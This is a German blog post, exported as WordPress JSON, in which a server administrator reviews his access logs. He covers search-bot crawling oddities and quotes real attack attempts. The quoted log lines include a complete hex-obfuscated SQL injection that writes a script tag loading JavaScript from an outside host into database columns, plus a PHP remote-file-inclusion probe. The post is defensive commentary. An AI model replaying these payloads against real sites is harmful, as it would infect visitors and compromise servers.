{"id":14,"date":"2008-11-16T20:01:30","date_gmt":"2008-11-16T20:01:30","guid":{"rendered":"http:\/\/blog.benny-baumann.de\/?p=14"},"modified":"2008-11-16T20:02:12","modified_gmt":"2008-11-16T20:02:12","slug":"was-einem-die-logs-uber-seine-seite-sagen","status":"publish","type":"post","link":"https:\/\/blog.benny-baumann.de\/?p=14","title":{"rendered":"Was einem die Logs \u00fcber seine Seite sagen &#8230;"},"content":{"rendered":"<p>Als Administrator eines Servers achtet man auf die in seinen Logfiles anfallenden Eintr\u00e4ge. Soweit sicherlich nichts Ungew\u00f6hnliches, sollte dies doch im Grunde zu den regelm\u00e4\u00dfig erledigten Aufgaben neben dem Einspielen von Patches f\u00fcr aktuelle Sicherheitsl\u00fccken und dem Abdichten bekannter Schwachstellen in der Konfiguration darstellen. Ich also daher nach dem ich vor etwas l\u00e4ngerer Zeit die GeSHi-Domains qbnz.com und geshi.org \u00fcbernommen habe in meine Logfiles gegangen und hab einfach mal geschaut, was da an Eintr\u00e4gen so alles anf\u00e4llt.<!--more--><\/p>\n<p>Neben ganz normalen Seitenabrufen von Besuchern, die durchaus im Abstand weniger Sekunden auf meinen Server einh\u00e4mmern, finden sich hier z.B. diverse Kategorien von Suchanfragen durch Google:<\/p>\n<p>Die Kategorie Nummer 1 umfasst typisches Crawling, so wie man es auch von normalen Benutzern her gewohnt ist. Dieses \u00e4u\u00dfert sich, wie es Google auf seiner Seite beschreibt durch Seiten-Aufrufe, die im Abstand von etwa 2-5 Sekunden auf dem Server einschlagen. Neben dem durch User erzeugten Traffic ist dies eine der h\u00e4ufigsten Anfragearten auf dem Server. Was agt dies: Die Seite ist bei Google gut indiziert und immer recht aktuell. Oftmals dauert es nach dem Ver\u00f6ffentlichen von neuen News-Beitr\u00e4gen nur wenige Minuten, bis man diese bei Google wiederfindet &#8211; insgesamt also annehmbar.<\/p>\n<p>W\u00e4re da die Kategorie Nummer 2, die Eintr\u00e4ge mit hochverschachtelten Escape-Sequenzen beinhaltet. Da ich grad nicht Suchen wollte, hab ich einfach kurz mal die live erzeugten Eintr\u00e4ge angeschaut und bin sofort auf einen passenden Eintrag gesto\u00dfen:<\/p>\n<pre lang=\"text\">[16\/Nov\/2008:19:03:30 +0000] geshi.org:80 66.249.70.100 - - - HTTP\/1.1 GET \/var\/www\/html\/htdocs\/developers\/bugs\/login_page.php 200 200 7234 Req=\"GET \/developers\/bugs\/login_page.php?return=%2Fdevelopers%2Fbugs%2Flogin_page.php%3Freturn%3D%252Fdevelopers%252Fbugs%252Flogin_page.php%253Freturn%253D%25252Fdevelopers%25252Fbugs%25252Flogin_page.php%25253Freturn%25253D%2525252Fdevelopers%2525252Fbugs%2525252Flogin_page.php%2525253Freturn%2525253D%252525252Fdevelopers%252525252Fbugs%252525252Flogin_page.php%252525253Freturn%252525253D%25252525252Fdevelopers%25252525252Fbugs%25252525252Flogin_page.php%25252525253Freturn%25252525253D%2525252525252Fdevelopers%2525252525252Fbugs%2525252525252Flogin_page.php%2525252525253Freturn%2525252525253D%252525252525252Fdevelopers%252525252525252Fbugs%252525252525252Flogin_page.php%252525252525253Freturn%252525252525253D%25252525252525252Fdevelopers%25252525252525252Fbugs%25252525252525252Flogin_page.php%25252525252525253Freturn%25252525252525253D%2525252525252525252Fdevelopers%2525252525252525252Fbugs%2525252525252525252Flogin_page.php%2525252525252525253Freturn%2525252525252525253D%252525252525252525252Fdevelopers%252525252525252525252Fbugs%252525252525252525252Flogin_page.php%252525252525252525253Freturn%252525252525252525253D%25252525252525252525252Fdevelopers%25252525252525252525252Fbugs%25252525252525252525252Flogin_page.php%25252525252525252525253Freturn%25252525252525252525253D%2525252525252525252525252Fdevelopers%2525252525252525252525252Fbugs%2525252525252525252525252Fview_all_bug_page.php%2525252525252525252525253Ffilter%2525252525252525252525253D43939 HTTP\/1.1\" Referer=\"-\" Agent=\"Mozilla\/5.0 (compatible; Googlebot\/2.1; +http:\/\/www.google.com\/bot.html)\" SVN=\"-\" SSL=\"- - -\"<\/pre>\n<p>Was lernen wir aus diesem Eintrag: Google hat auf dem GeSHi-Bugtracker keinen Account, versucht es aber trotzdem. MSN hat hier den gleichen Fehler, ist aber nicht ganz so persistent wie Google, weshalb die Verschachtelung wesentlich geringer ausf\u00e4llt<\/p>\n<pre lang=\"text\">[16\/Nov\/2008:19:07:08 +0000] geshi.org:80 65.55.210.22 - - - HTTP\/1.1 GET \/var\/www\/html\/htdocs\/developers\/bugs\/login_page.php 200 200 4617 Req=\"GET \/developers\/bugs\/login_page.php?return=%2Fdevelopers%2Fbugs%2Flogin_page.php%3Freturn%3D%252Fdevelopers%252Fbugs%252Fview_all_bug_page.php%253Ffilter%253D77849 HTTP\/1.1\" Referer=\"-\" Agent=\"msnbot\/1.1 (+http:\/\/search.msn.com\/msnbot.htm)\" SVN=\"-\" SSL=\"- - -\"<\/pre>\n<p>Trotzdem fragt man sich doch, ob Bots sowas nicht mitbekommen, dass es da nichts zu crawlen gibt, gerade weil hier durchaus recht gro\u00dfe Mengen von Traffic jeden Monat sinnlos anfallen. In den derzeitigen Regionen, wo ich mich Trafficm\u00e4\u00dfig bewege, kann mir das erstmal relativ egal sein &#8211; eine L\u00f6sung die Bot-Freundlicher sein d\u00fcrfte, hab ich aber schon.<\/p>\n<p>Bliebe die dritte Kategorie von Traffic, der durch Suchmaschinen erzeugt wird: Proxying von Suchanfragen, wie es h\u00e4ufig von Angreifern zum Hacken von Websites als Verschleierungstaktik angewendet wird, i.d.R. aber nicht viel bringt, da solche Dinge relativ einfach durch entsprechende Filter entweder komplett abgedichtet werden k\u00f6nnen oder aber gut mitprotokolliert werden k\u00f6nnen. Beide Varianten haben sowohl Vor- als auch Nachteile: W\u00e4hrend das Blocken von Proxy-basierten Requests Beispielsweise \u00fcber den X-Forward-For-Header recht erkannt und gefiltert werden kann, sperrt man damit gleichzeitig eine Reihe verschiedener Anonymisierungsnetzwerke aus, die durchaus ihre Berechtigung haben. Protokolliert man hingegen einfach nur typische Felder, die auf die Nutzung von Proxies hinweisen mit, so entf\u00e4llt dieser Schutz, vor offensichtlichen Proxies, daf\u00fcr bedarf es jedoch einer manuellen, nachtr\u00e4glichen Auswertung, ob bestimmte Proxies missbraucht werden und daher gesperrt werden sollten.<\/p>\n<p>Ein hoher Anteil an Eintr\u00e4gen mit Proxy-Servern deutet somit auf entweder anonym surfende User oder einen hohen Anteil Angreifer hin, die es auf den eigenen Server abgesehen haben.<\/p>\n<p>Best\u00e4rkt wird gerade die zweite These dann, wenn man Voreigent\u00fcmer einer Domain erf\u00e4hrt, dass die verwendeten Scripte &#8222;mal eben&#8220; geschrieben wurden, &#8222;damit sie funktionieren&#8220;. Dementsprechend sieht dann auch der Log aus: Reihenweise Versuchte SQL-Injections und Remote Code Execution-Angriffe, die Versuchen in den Server einzudringen.<\/p>\n<p>Auch hier gibt es typische Vertreter:<\/p>\n<pre lang=\"text\">[07\/Sep\/2008:05:17:21 +0000] geshi.org:80 221.126.77.240 - - - HTTP\/1.1 GET \/var\/www\/html\/htdocs\/highlighter\/news.php 200 200 18233 Req=\"GET \/highlighter\/news.php?id=103';DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S); HTTP\/1.1\" Referer=\"-\" Agent=\"Mozilla\/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Foxy\/1; Foxy\/1)\" SVN=\"-\" SSL=\"- - -\"<\/pre>\n<p>und<\/p>\n<pre lang=\"text\">[10\/Nov\/2008:06:08:29 +0000] geshi.org:80 89.218.85.18 - - - HTTP\/1.1 GET \/var\/www\/html\/htdocs\/highlighter\/converter.inc.php 404 404 227 Req=\"GET \/highlighter\/converter.inc.php?include_path=http:\/\/{removed}\/fx29id.txt?? HTTP\/1.1\" Referer=\"-\" Agent=\"Mozilla\/5.0\" SVN=\"-\" SSL=\"- - -\"<\/pre>\n<p>wobei beide nicht zu verachten sind: Nicht nur musste ich etwas genauer ersterem Eintrag hinschauen, um ihn von Suchmaschinen-Kategorie 2 zu unterscheiden, sondern musste zudem auch noch ich einen Hex-Decoder hernehmen, um mir den zugeh\u00f6rigen SQL-Befehl anzuschauen, der es durchaus in die oberste Liga verschleierter C-Programme schaffen w\u00fcrde.<\/p>\n<p>Dagegen ist der zweite Angriff, der eine h\u00e4ufig bei PHP-Installationen mit aktiviertem Register_Globals anzutreffende L\u00fccke ausnutzt schon regelmrecht langweilig. Sorry, liebe Angreifer, aber gegen Sowas gibt es genug Abwehrma\u00dfnahmen, darunter neben sauberem Schreiben der Script auch eine korrekte Konfiguration seiner Laufzeit-Umgebung.<\/p>\n<p>Bliebe noch die Frage, was einem diese Angriffe zeigen. Hmmm, gute Frage. Wahrscheinliche mehrere Dinge: Ein Punkt d\u00fcrfte sicherlich sein, dass die Domain unter Angreifern bekannt ist als m\u00f6gliches Ziel, zum anderen aber, dass selbst nach \u00fcber 6 Monaten unter neuer Herrschaft, sich noch nicht herumgesprochen hat, dass die meisten alten L\u00fccken inzwischen abgedichtet sind.<\/p>\n<p>Auch wenn es immer recht nervig ist, wenn man einen Server reinigen darf, bei dem wieder einmal eine Sicherheitsl\u00fccke ausgenutzt wurde, so ist es doch immer wieder spannend, herauszufinden, wie dies geschehen ist. Wenn man sich da die immer gleichen Arten von Standard-Angriffen anschauen muss, so kann dies schnell zu Langeweile f\u00fchren. Bliebe die Frage, wann die Script-Kiddies und Angreifer, die das Internet immer so vollspammen entlich wieder anfangen uns Webmaster mit ihren Anfragen auf unsere Server zu unterhalten &#8211; ich wei\u00df es ehrlich gesagt nicht!<\/p>\n<p class=\"wp-flattr-button\"><a href=\"https:\/\/blog.benny-baumann.de\/?flattrss_redirect&amp;id=14&amp;md5=68529d2ec8e9569192d00a28b28a3bc5\" title=\"Flattr\" target=\"_blank\"><img src=\"http:\/\/blog.benny-baumann.de\/wp-content\/plugins\/flattr\/img\/flattr-badge-large.png\" srcset=\"http:\/\/blog.benny-baumann.de\/wp-content\/plugins\/flattr\/img\/flattr-badge-large.png\" alt=\"Flattr this!\"\/><\/a><\/p>","protected":false},"excerpt":{"rendered":"<p>Als Administrator eines Servers achtet man auf die in seinen Logfiles anfallenden Eintr\u00e4ge. Soweit sicherlich nichts Ungew\u00f6hnliches, sollte dies doch im Grunde zu den regelm\u00e4\u00dfig erledigten Aufgaben neben dem Einspielen von Patches f\u00fcr aktuelle Sicherheitsl\u00fccken und dem Abdichten bekannter Schwachstellen in der Konfiguration darstellen. Ich also daher nach dem ich vor etwas l\u00e4ngerer Zeit die [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"ngg_post_thumbnail":0,"footnotes":""},"categories":[4],"tags":[],"class_list":["post-14","post","type-post","status-publish","format-standard","hentry","category-server"],"_links":{"self":[{"href":"https:\/\/blog.benny-baumann.de\/index.php?rest_route=\/wp\/v2\/posts\/14","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.benny-baumann.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.benny-baumann.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.benny-baumann.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.benny-baumann.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=14"}],"version-history":[{"count":3,"href":"https:\/\/blog.benny-baumann.de\/index.php?rest_route=\/wp\/v2\/posts\/14\/revisions"}],"predecessor-version":[{"id":17,"href":"https:\/\/blog.benny-baumann.de\/index.php?rest_route=\/wp\/v2\/posts\/14\/revisions\/17"}],"wp:attachment":[{"href":"https:\/\/blog.benny-baumann.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=14"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.benny-baumann.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=14"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.benny-baumann.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=14"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}